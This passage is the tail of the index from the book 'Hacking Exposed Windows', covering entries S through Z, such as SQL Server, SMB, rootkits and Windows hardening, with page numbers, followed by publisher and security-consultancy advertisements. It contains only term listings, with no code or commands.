283\nSeChangeNotifyPrivilege, 380\nrootkits (continued)\n" }, { "page_number": 471, "text": "Index \n443\nSeCreateGlobalPrivilege, 380\nsecurable objects, 19\nsecure channels, 29\nSecure Shell (SSH), 201\nSecure Sockets Layer. See SSL\nSecure Startup feature, 250–251\nsecurity. See also Windows security architecture\naccess control. See access control\naccountability, 10\napplication development and, 8\nassets, 3–4\nbasic principles, 10–13\ncompartmentalization, 12\ncyclical elements of, 2–10\ndetecting violations, 8–9\neducation/training, 8\nfail secure operations, 12\nfeatures/tools, 367–404\nframework for, 2–10\ngeneral operations, 8\nhisecws template for, 409–411\nintegrity control, 372–374\nlayers of, 12\noperational, 2–10\npasswords. See passwords\nphysical, 345–366\nplanning for, 3–4\npolicies, 5–8\npreventive controls, 8\nprinciples of, 19–31\nreferences, 14\nresponses, 9\nrisk-based approach to, 3\nsimple vs. complex systems, 12–13\nSecurity Accounts Manager (SAM), \n37, 39–41, 266\nsecurity and information event management \n(SIEM), 132\nsecurity breach notification laws, 6\nsecurity checklist, 405–420\nsecurity cookies, 388–391. See also cookies\nsecurity descriptors, 19\nSecurity Event Log, 46–47\nsecurity event management (SEM), 132\nsecurity identifiers. See SIDs\nsecurity life cycle, 2–10\nSecurity Log, 131\nsecurity model, 38–39\nSecurity Policy\naccount lockout threshold, 130\nlogon failure events, 131–132\nSecurity Policy Files, 49\nsecurity risk. See risk\nSecurity Templates, 407, 409–411\nsecurity vulnerabilities. See vulnerabilities\nsecurity zones, 335–339\nSecurity.config file, 49\nSeDebug Privilege privilege, 204\nSEH overwrites, 393–397\nSEH (Structured Exception Handling), 180, \n392–397\nSEM (security event management), 132\nServer Message Block. See SMB\nServer Network Utility, 307\nserver roles, 279\nservers. See also Windows Server\nApache Web Server, 413\nDNS, 55, 101–103, 412\nfraudulent, 144\nFTP, 230\nInternet Information Server. See IIS\nphysical protection of, 310\nRAS, 413\nSMB, 322\nSQL Server. See SQL Server\nTerminal Server, 135–137, 416–417\nweb, 295, 310, 413–414\nWSUS, 307\nservice accounts, 23–25\nimportance of, 121\nprivileges, 24–25, 380–384\nsecurity issues related to, 24\nService Control Manager (SCM), 23, 260–261, \n380–382\nService group, 29\nservice hardening, 24–25\nservice hosts (svchosts), 385–386\nservice packs, 307, 408–409, 414. See also\nhotfixes; patches; updates\nservice refactoring, 385–386\nservices. See also Terminal Services\nblocking, 75–76, 128\nconsiderations, 161–162\ndefined, 156\ndisabling unnecessary, 75–76, 128\ndomain accounts and, 409\n" }, { "page_number": 472, "text": "444 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nexploiting, 156–161\nhardening, 377–387\nhijacking, 265–266\nminimum required, 409–411\nNetBIOS suffixes associated with, \n78–80\npassword guessing, 117–137\nprivileges, 24–25, 380–384\nrefactoring, 385–386\nreferences, 162–164\nresource isolation, 377–379\nrestricted network access, 386\nsecurity issues relating to, 24–25\nSession 0 isolation, 386–387\ntargeted by enumeration attacks, \n74, 75\nSession 0 isolation, 386–387\nSHA-1 hashes, 251\nShadow Walker rootkit, 232, 244–247\nshares, 85–88, 135\nsharing\nfiles, 97, 98\ngroup accounts, 119\nnetwork, 38–39\nprinters, 97, 98\nShatter attacks, 340, 386–387\nSID walking technique, 94–95\nsid2user tool, 21, 91–92\nSIDs (security identifiers). See also RIDs\nadministrator account and, \n20–21, 132\noverview, 20\nrestricted, 378–379\nservice-specific, 19, 23–25, 378–379\ntokens and, 32–36, 375\nviewing with user2sid/sid2user, \n21–22, 91–92\nviewing with UserDump, 94\nSIEM (security and information event \nmanagement), 132\nSimple Network Management Protocol. \nSee SNMP\nsingle-crack mode, 212\nSingle-SignOn functionality, 220\nSir Dystic, 148\nSiteLock tool, 324\nSlammer worm, 274\nsmart cards, 134\nSMB communications, 147\nSMB dictionary attacks, 125–127\nSMB grinding, 126–127\nSMB MITM attacks, 153–155\nSMB over NetBIOS (NetBIOS session \nservice), 75\nSMB over TCP (Direct Host), 75\nSMB Packet Capture utility, 140–144\nSMB redirector, 123\nSMB (Server Message Block)\nclosing sessions, 117–118\ndisabling, 96–98\nenumeration, 84–101\nmalicious e-mail/web page, \n322, 332\nredirection, 148–152\nrestricting access to, 96, 98–101\nSMB servers, 322\nSMB signing, 152, 155\nsmbclient, 219\nSMBGrind tool, 126–127\nSMBProxying, 155\nSMBRelay server, 149\nSMBRelay tool, 148–152\nSmith, Richard M., 322\nSniffer Pro tool, 201\nSniffer tool, 137\nsniffing. See also eavesdropping\ncountermeasures, 145–148\ndescribed, 137\nKerberos authentication, 138–139\nLM authentication, 140–148\nLM response sniffing, 140–148\npackets, 200–201, 292–296\nSQL Server passwords, 292–296\nSNMP browsers, 104–105\nSNMP services, 75, 105, 413\nSNMP (Simple Network Management \nProtocol)\nenumeration, 103–107\nsecurity guidelines for, 413\nUDP scanning and, 62\nSNMP Trap service, 105\nsnmputil, 103–104\nSnort tool, 201\nsocial engineering, 327–334\nadware, 332–334\nservices (continued)\n" }, { "page_number": 473, "text": "Index \n445\ndescribed, 13\nphishing attacks, 233, 235, 328–332\nrisk of, 13\nspyware, 328, 332–334\nSoeder, Derek, 359–360\nSoftware Restriction policies, 190\nSoftware Update Service (SUS), 409\nSolarWinds tools, 104–105\nSong, Dug, 201\nSony BMG First4Internet Rootkit, 247\nSotirov, Alexander, 172, 319\nsource code disclosure vulnerabilities, 295\nsource port scanning, 61\nspam, 233\nspam mass mailers, 233\nspambots, 233\nSparks, Sherri, 228–229, 232\nspear phishing, 235\nspecial identities, 28, 29\nsp_executeSQL statement, 304\nsp_executesql statement, 314–315\nspoofing attacks, 142, 152–153\nSpyBot Search & Destroy tool, 334\nspyware, 328, 332–334\nSQL authentication, 275, 278\nSQL authentication mode, 275, 278\nSQL Browser Service, 284, 285\nSQL commands\nerrors in, 296–306\ninjection attacks, 296–306, \n313–314\nSQL injection attacks, 296–306, \n313–314\nSQL injection holes, 313–314, 415\nSQL Profiler, 313–314, 415\nSQL query utilities, 286–287\nSQL Resolution Service, 284\nSQL Server, 273–316\nadmin password, 308–309\nalerts, 314, 416\nauthentication, 308\nauthentication logging, 279–280, \n310–311, 414\nbest practices, 309–315\nblocking port access, 307\nbrute-force attacks, 289\ncase study, 274–277\nchanged/new features, 280–281\nconnections, 278\ncookies and, 275–276\ndefensive strategies, 306–309, \n414–416\ndetermining SQL structure, 298\nencryption, 281, 294–295, 311, 414\nerror log, 279–280\nerror messages, 301–302\nEveryone identity, 413\nfree editions of, 274\ngeneral information, 274, 315\nhacking, 274–277, 281–306\nhotfixes, 307\nIIS and, 281–282, 288\ninformation gathering, 282–286\nlaptops and, 275\nleast privilege and, 311–312, 415\nlogging, 279–280, 310–311\nlogins, 278–279\nnetwork access, 306–307, 414\nnetwork libraries (netlibs), 277–278\npacket sniffing, 292–296\npasswords, 278–279, 288–296, \n308–309\npatches, 307–308\npenetration of, 274–277\nphysical protection of, 310\nport scanning, 283–284\nreferences, 316\nroles, 279\nsecurity concepts, 277–281, \n414–416\nsecurity modes, 278, 414\nservice packs, 307, 414\nsource disclosure from, 295\nSQL injection attacks, 296–306, \n313–314\nstealing credentials, 303–304\nstored procedures, 303–306, 415\nTCP/IP and, 277–278\ntools for hacking, 286–306\nusers, 278–279\nweb servers connected to, 310\nWindows Firewall and, 284, 307\nSQL Server 2005 patches, 307–308\nSQL Server clients, 310\nSQL Server Express Edition (SSEE), \n274, 287, 288\n" }, { "page_number": 474, "text": "446 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSQL Server Management Studio, 287\nSQL Server relational database, 274\nSQL servers, 111\nSQL Slammer worm, 274\nSQL users, 303–304, 415\nsqlbf tool, 289–290\nsqlcmd.exe tool, 287\nSQLPing tool, 284–285\nSQLPing3 tool, 275, 288–289\nsqlpoke tool, 290\nSQLRecon tool, 285–286\n.src extension, 295\nsrvcheck tool, 86\nsrvinfo tool, 86, 409\nSSDT (System Service Descriptor \nTable), 236\nSSEE (SQL Server Express Edition), \n274, 287, 288\nSSH (Secure Shell), 201\nSSL (Secure Sockets Layer), 201, 291\nSSL support, 292–293\nstack-based buffer overflows, 388–391\nstack cookies (GS), 181–183, 388–391\nstack frame, 388, 389\nstack layout, 397–398\nstacks, 236\nstealth software\nantivirus software and, 247\nchanging threat environment, \n229–235\ngeneral information, 226–227, \n268–269\nreferences, 269–271\nrootkits. See rootkits\ntechniques, 235–247, 252–261\nWindows Vista, 248–252\nStewart, Joe, 233\nstored procedures, 303–306, 415\nStorm worm, 263\nStringTokenFuzzer generator, 171–172\nStructured Exception Handling. See SEH\nsubauthority values, 20\nsubjects, 19\nSuperScan tool, 62–63\nSupport_388945a0 account, 22, 23\nSurface Area Configuration Tool, 281\nSUS (Software Update Service), 409\nsvchosts (service hosts), 385–386\nSVV (System Virginity Verifier), \n252–253, 254\nSweetScape 010 Editor, 177\nSybase SQL Server. See SQL Server\nsymbiator user accounts, 122\nSYN/ACK packets, 62\nSYN packets, 62\nSYN scanning, 62\nSYSKEY (system key)\nEFS attacks and, 351\noverview, 39–41\nSAM files and, 348–349, 352\nSystem Access Control List (SACL), 46\nSYSTEM account, 22, 23, 230\nsystem administrator (sa) account, 307–309. \nSee also administrator accounts\nsystem control\ngeneral information, 186, 220–221\npassword cracking. See password \ncracking\npassword extraction, 202–210\nreferences, 221–224\nremote interactive control, 191–201\ntransferring attack toolkit to, \n186–191\nsystem data, 198. See also data\nSystem Error 59, 155\nsystem key (SYSKEY), 39–41\nSystem Log, 46–47\nSystem Service Descriptor Table (SSDT), 236\nSYSTEM shell, 347\nSystem Virginity Verifier (SVV), \n252–253, 254\nsystems. See also operating systems; specific\noperating systems\nblocking access to, 10\ncontrol of. See system control\nshutting down, 31\nstarting up, 250–251\nsysusers table, 279\nsysxlogins table, 278\n▼ \n▼ T\nT-SQL code\nbest practices, 314–315\nimpersonation in, 281\n" }, { "page_number": 475, "text": "Index \n447\nprotecting stored procedures, \n312–313, 315\nsetting sa account password, \n308–309\nsetting SQL Server authentication \nmode, 308\nviewing server properties page, 308\nTabular Data Stream (TDS) protocol, 188\nTask Manager, 236\nTCP endpoints, 259\nTCP/IP\nDoS attacks and, 417\nfingerprinting and, 69\nSQL Server and, 277–278\nTCP/IP stacks, 69\nTCP packets, 69\nTCP port scans, 61–67\nTCP ports\nport 25, 61\nport 53, 75\nport 80, 61, 65\nport 135, 75, 82, 84\nport 139, 65, 75, 85, 97\nport 161, 106\nport 389, 75, 108, 109\nport 445, 65, 75, 85, 97\nport 593, 84\nport 1433, 283, 307\nport 3268, 75, 108, 109\nport 3389, 75\nTCP services, 65–66\nTDS (Tabular Data Stream) protocol, 188\ntelnet banner grabbing, 68\ntemplates, security, 407, 409–411\ntemporal vulnerability analysis, 297\nTemporary Internet Files (TIF), 339\nTerminal Server (TS)\npassword guessing, 135–137\nsecurity considerations, 416–417\nTerminal Services\ndenying access, 31\ndescribed, 135\nenumeration attacks, 75\nGUI control, 194–195\npassword guessing, 135–137\nTerminal Services Advanced Client, \n135–136\nuser rights and, 30\nTerminal Services Advanced Client (TSAC), \n135–136\nTerminal Services Internet Connector \nLicensing, 23\ntest accounts, 118, 122\nTGT (Ticket Granting Ticket), 138\nThis Organization group, 29\nThis Organization SID, 45\nthreads, 19\nthreat modeling, 3\nthreats\nchanging environment of, \n229–235\nprioritizing, 4\nthree-way handshake, 61–62\nTicket Granting Ticket (TGT), 138\nTIF (Temporary Internet Files), 339\nTIP Echo Request packet, 67\ntivoli user accounts, 122\nTLBs (translation lookaside buffers), \n244–247\nTLV (Type Length Value) format, \n178, 179\ntokens, 32–36. See also access tokens; \nauthorization\ncreated by LSASS, 32\ndescribed, 32\nfiltered, 36\nlinked, 36\nrestricted, 33–34\nSIDs and, 32–36, 375\nToolcrypt.org, 153, 154\ntoolkits, 186–191\nTPM 1.2 processor, 251\nTPM (Trusted Platform Module), \n370–372\nTPMKit, 360\ntraining, security, 8\ntrampoline, inserting, 238\ntransformers, 170–172\ntransitive trusts, 43\ntranslation lookaside buffers (TLBs), \n244–247\ntrees, 41–46\ntrickery, 327–334\nTrojan logon, 200\nTrojan passfilt DLLs, 129\nTrojans, banking, 233\n" }, { "page_number": 476, "text": "448 \nHacking Exposed Windows: Windows Security Secrets & Solutions \ntrust, limiting, 12\ntrust relationships, 12, 43, 44\ntrusted domains, 86\nTrusted Platform Module. See TPM\ntrusted sites, 337\nTrustedInstaller, 400–401\ntrusts, forest, 45–46\nTS. See Terminal Services\nTSAC (Terminal Services Advanced Client), \n135–136\nTSGrinder tool, 135–136\nTSInternetUser account, 23\n▼ \n▼ U\nUAC. See User Account Control\nUDP port scans, 62–67\nUDP ports\nport 135, 84\nport 137, 75, 77\nport 161, 75, 103, 106\nport 389, 75\nport 1434, 284–285, 307\nport 3268, 75\nUDP scanning, 62\nUDP services, 65–66\nUDP (User Datagram Protocol), 62\nUltimate Packer for eXecutables \n(UPX), 188\nUNC (Universal Naming Convention), \n303–304\nUnHackMe software, 259\nUnicode code points, 264–265\nuniversal groups, 43\nUniversal Naming Convention (UNC), \n303–304\nUniversal scope, 42\nUNIX platform, 191\nUNIX rootkits, 226–227\nUNIX tools, 199\nUnreal rootkit, 234\nupdates. See also hotfixes; patches; \nservice packs\nSoftware Update Service (SUS), 409\nunpacking, 172–173\nWindows Update (WU), 307–308\nUPX (Ultimate Packer for eXecutables), 188\nURL canonicalization, 329–332\nURLScan tool, 68\nUSB drive, 360–361\nUser Account Control (UAC)\nadministrator privileges and, \n375–377\ncontrolling user accounts with, \n375–377\noverview, 35–36, 375\nprocesses, 375\ntokens, 375\nWindows Vista, 249–250\nuser accounts, 22–25. See also accounts\narcserve, 122\nbackup accounts, 119, 121\nbuilt-in accounts, 22–23\nchanging name of, 136\nComment field and, 118\ncontrolling with UAC, 375–377\ndelegation, 35\ndisabled, 119–120, 130–131, \n133–134\nexpired, 133–134\nguest accounts, 119–120\nimpersonation, 33\ninfrequently used, 119\nleast privilege and, 30, 375\nlockout, 119–120, 130–131\noverview, 22\nprivileges, 11, 22, 415\nservice accounts, 23–25\nsymbiator, 122\ntivoli user, 122\nvs. users, 22\nUser Accounts Control Panel, 36\nuser database roles, 279\nUser Datagram Protocol. See UDP\nUser master key, 48\nuser mode, 16, 17, 236–238, 251\nuser-mode processes, 240\nuser-mode rootkits, 230, 247, 254\nuser-mode stealth, 252\nUser private key, 48\nUser public key, 48\nuser rights, 30–31\nuser2sid tool, 21, 91–92\n" }, { "page_number": 477, "text": "Index \n449\nuser32.dll.dg.db, 173–181\nUserDump tool, 92, 94, 130\nUserInfo tool, 92\nusername/password combinations, 122\nusers. See also user accounts\ncredentials, 3, 281\ndomain, 42\nenumerating, 86, 92, 109\nINTERACTIVE, 28, 29\npassword guessing, 117–137\nprivilege escalation, 375–377\nSQL Server, 278–279\nvs. user accounts, 22\n▼ \n▼ V\nvalidation\nclient-side, 312\ninput, 312, 415\nSQL Server, 415\nVBootkit, 250, 251, 360\nVenom tool, 127–128\nVICE tool, 252\nVidstrom, Arne, 138, 200\nvirtual machine (VM), 262\nvirtual memory, 232, 244–247\nVirtual Network Computing \n(VNC), 195\nVirtual PC, 262\nvirtual private networks (VPNs), 291\nvirtualization support, 233\nVision tool, 198\nVista. See Windows Vista systems\nVitriol rootkit, 262\nVM (virtual machine), 262\nVMK (Volume Master Key), 234\nVMWare, 262\nVNC (Virtual Network Computing), 195\nVolume Master Key (VMK), 234\nVPNs (virtual private networks), 291\nvulnerabilities, 165–184\ncalculating, 4–5\nfinding, 166–183\nfuzzing, 169–172\ngeneral information, 166, 184\nreferences, 184\nscanning applications for, 310\nsource code disclosure, 295\nSQL injection attacks, 296–306, \n313–314\n▼ \n▼ W\nWalksam tool, 94\nWayback Machine site, 59\nweb applications, 413–414\nweb browsers. See also Internet Explorer\ncookies. See cookies\nFirefox browser, 339\nlow-privilege browsing, \n339–340\nweb client exploits, 319–327. See also\nclient applications\nweb pages\ncustom, 290–292\nSQL Server attacks via, 290–292\nWeb platform holes, 159\nweb servers, 295, 310, 413–414\nwebsites. See also Internet\ncompanion to book, 421–422\ncookies. See cookies\ndefacements, 274\nfraudulent, 329–332\nphishing attacks, 233, 235, \n328–332\npreventing search engines from \nfinding, 59\nsnapshots of content, 59\ntrusted sites, 337\nwinhackingexposed.com,\n421–422\nWeb Vulnerability Scanner, 298\nWeb.config file, 49\nWebScarab tool, 298\nwell-known groups, 28, 29\nWFP (Windows File Protection), 399\nWhitehouse, Ollie, 389\nwhois tool, 55–57\nWinDBG debugger, 169, 254–255\nWindows 9x systems, 65\nWindows 2000 and later systems\nhardening, 407–413\n" }, { "page_number": 478, "text": "450 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nminimum required services on, \n409–411\nzone transfers, 101–103\nWindows 2003 systems\nbuilt-in accounts, 22–23\npredefined groups, 25, 27\nWindows access control model, 33–34\nWindows authentication, 137–155, 278. \nSee also authentication\nWindows-based rootkits, 236\nWindows clients, 85\nWindows Defender, 334\nWindows domains, 41–46\nWindows File Protection (WFP), 399\nWindows Firewall. See also firewalls\nadvanced settings, 76\nblocking services with, 76\nIPSec and, 411–412\nnew features, 411\nport scans and, 65, 67, 284\nrestricting SMB access, 96\nSQL Server and, 284, 307\nWindows services, 386\nWindows Forms, 49\nWindows hardening, 407–413\nWindows Integrated Authentication over \nHTTP, 147\nWindows internals, 235–240\nWindows Management Instrumentation \n(WMI), 127–128, 195\nWindows Native API, 236\nWindows NT LAN Manager. See NTLM\nWindows NT systems\nchallenge/response authentication, \n37–38\ndomain logon cache, 353–354\nNT-based rootkits, 228\nNT hashes, 37–38, 214–218\npassword hashes, 37–38, 214–218\nSYSKEY (system key), 39–41\nTCP/UDP services, 65\nWindows Only authentication mode, 309\nWindows platform. See also operating systems\nboot methods, 346–347\nhotfixes, 307, 408–409\nintegrity control, 372–374\nsecurity checklist, 405–420\nsecurity features/tools, 367–404\nservice packs, 307\nspecial identities, 28, 29\nthreat environment for, 229–235\nWindows Preinstallation Environment \n(WinPE), 346\nWindows Resource Protection (WRP), \n399–402\nWindows rootkits, 227–229\nWindows security architecture, 15–52. \nSee also security\naccess control. See access control\nattacking kernel mode, 16, 17–18\nattacking user mode, 16, 17, 18\nauditing, 46–49\ndomains, 41–46\nforests, 41–46\noverview, 16–18\nsecurity principles, 19–31\ntrees, 41–46\nWindows security checklist, 405–420\nWindows Server. See also servers\nnull sessions and, 85\nport scanning and, 65\nscreensaver replacement, 347\nservice exploit, 160–161\nWindows Server 2003\nbuilt-in accounts, 23\n.NET Framework, 48–49\nnull sessions and, 86\nSupport Tools, 81\nuser rights, 30\nWindows Server 2008, 30\nWindows-specific services. See services\nWindows Update Services (WSUS), \n307–308\nWindows Update (WU), 307–308\nWindows Vista systems\nANI exploits, 181–183\nSecure Startup feature, 250–251\nsecurity enhancements, 251\nService Hardening feature, 24–25\nvs. rootkits, 248–252\nWindows XP systems\nanonymous access settings, 100\nbuilt-in accounts, 23\nnull sessions and, 86\nWinfingerprint tool, 111–112\nWindows 2000 and later systems (continued)\n" }, { "page_number": 479, "text": "Index \n451\nwinhackingexposed.com, 421–422\nWinPcap packet capture driver, \n142–143\nWinPE (Windows Preinstallation \nEnvironment), 346\nWinVNC, 198\nwireless hotspots, 289–290, 292\nwireless networks, 361–362, 364\nwireless sniffers, 275\nWireshark tool, 201\nWMI (Windows Management \nInstrumentation), 127–128, 195\nWNetAddConnection2 API, 123\nwordlist mode, 212\nworms\nBlaster, 156–158\nbuffer overflows and, 387\nLOVESAN, 156\nmass-mailing, 263\nSQL Slammer, 274\nStorm, 263\nWSUS server, 307\nWSUS (Windows Update Services), 307–308\nWSUSCAN.cab, 172–173\n▼ \n▼ X\nXOR schemes, 293–294, 390–391\nxp_cmdshell command, 275–276\nxp_dirtree procedure, 303–304\nXSS attacks, 321–322\nXSS (CrossSite Scripting), 321–322\n▼ \n▼ Z\nZalewski, Michal, 325, 326, 329\nzone transfers\ndisabling, 102–103, 412\nDNS, 101–103\nWindows 2000, 101–103\nzones\nInternet, 336–337\nRestricted Sites, 338–339\nsecurity, 335–339\n" }, { "page_number": 480, "text": "This page intentionally left blank \n" }, { "page_number": 481, "text": "Stop Hackers in Their Tracks\nHacking Exposed Wireless \nJohnny Cache & Vincent Liu\nHacking Exposed: Web Applications,\nSecond Edition \nJoel Scambray, Mike Shema \n& Caleb Sima\nHacking Exposed Windows, \nThird Edition \nJoel Scambray & Stuart McClure\nHacking Exposed Web 2.0 \nRich Cannings, Himanshu Dwivedi \n& Zane Lackey \nGray Hat Hacking, Second Edition\nShon Harris, Allen Harper, Chris Eagle \n& Jonathan Ness \nHacking Exposed VoIP \nDavid Endler & Mark Collier\na\nAvailable\nSpring\n2008\nMHPROFESSIONAL.COM\nHacking Exposed Linux, Third Edition\nISECOM \n" }, { "page_number": 482, "text": "Formed by recognized security industry leaders with proven track records, \nLeviathan Security Group, Inc., is an information security consulting and training \ncompany specializing in application security design, assessment, and remedia-\ntion. We offer both strategic and technical advisory services targeted at our \ncustomers’ overall risk management and compliance needs.\nLeviathan’s key differentiators include:\n• Unmatched experience in the security marketplace. Leviathan \nexperts have been leading providers of security services for over \na decade, including penetration testing, application security \nassessments, operational assessments, policy guidance, and \ntraining offerings.\n• State-of-the-art practitioners and thought leaders in security. \nExamples of our published research and tools are available at \nleviathansecurity.com/resources.html.\n• Effi cient and adaptive. Our consultants can quickly and \nseamlessly integrate with diverse teams and practices, having \nworked extensively with organizations of all sizes over hundreds of \nsuccessful projects.\nLeviathan’s consultants are located in Seattle and Denver. For more information, \nplease visit www.leviathansecurity.com.\nTechnical Security Design, Assessment, Testing & Training\nStrategic Security Consulting & Advice\nwww.leviathansecurity.com\n© 2007 Leviathan Security Group, Inc. All Rights Reserved.\n" } ] }